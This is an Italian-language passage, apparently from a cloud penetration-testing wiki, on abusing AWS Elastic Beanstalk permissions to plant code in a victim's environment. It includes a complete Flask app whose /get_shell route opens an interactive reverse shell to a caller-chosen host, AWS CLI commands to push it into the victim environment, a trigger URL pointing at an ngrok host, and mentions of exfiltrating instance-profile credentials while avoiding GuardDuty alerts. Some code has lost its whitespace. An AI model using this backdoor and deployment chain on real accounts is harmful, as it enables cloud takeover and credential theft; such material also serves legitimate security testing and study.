Per eseguire azioni sensibili in Beanstalk è necessario avere un gran numero di permessi sensibili in molti servizi diversi. Puoi controllare ad esempio i permessi concessi a arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, permessi di scrittura S3 e molti altri
Con permessi di scrittura sul bucket S3 contenente il codice dell'ambiente e permessi per ricostruire l'applicazione (è necessario elasticbeanstalk:RebuildEnvironment e alcuni altri relativi a S3, EC2 e Cloudformation), puoi modificare il codice, ricostruire l'app e la prossima volta che accedi all'app essa eseguirà il tuo nuovo codice, consentendo all'attaccante di compromettere l'applicazione e le credenziali del ruolo IAM ad essa associate.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, e altro...
I permessi menzionati più diversi permessi di S3, EC2, cloudformation, autoscaling e elasticloadbalancing sono necessari per creare uno scenario Elastic Beanstalk da zero.
Prima di tutto, è necessario creare un ambiente Beanstalk legittimo con il codice che si desidera eseguire nella vittima seguendo i passi precedenti. Potenzialmente un semplice zip contenente questi 2 file:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Una volta che hai il tuo ambiente Beanstalk in esecuzione con la tua rev shell, è tempo di migrarlo nell'ambiente delle vittime. Per farlo, devi aggiornare la Bucket Policy del tuo bucket S3 di beanstalk in modo che la vittima possa accedervi (Nota che questo aprirà il Bucket a TUTTI):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
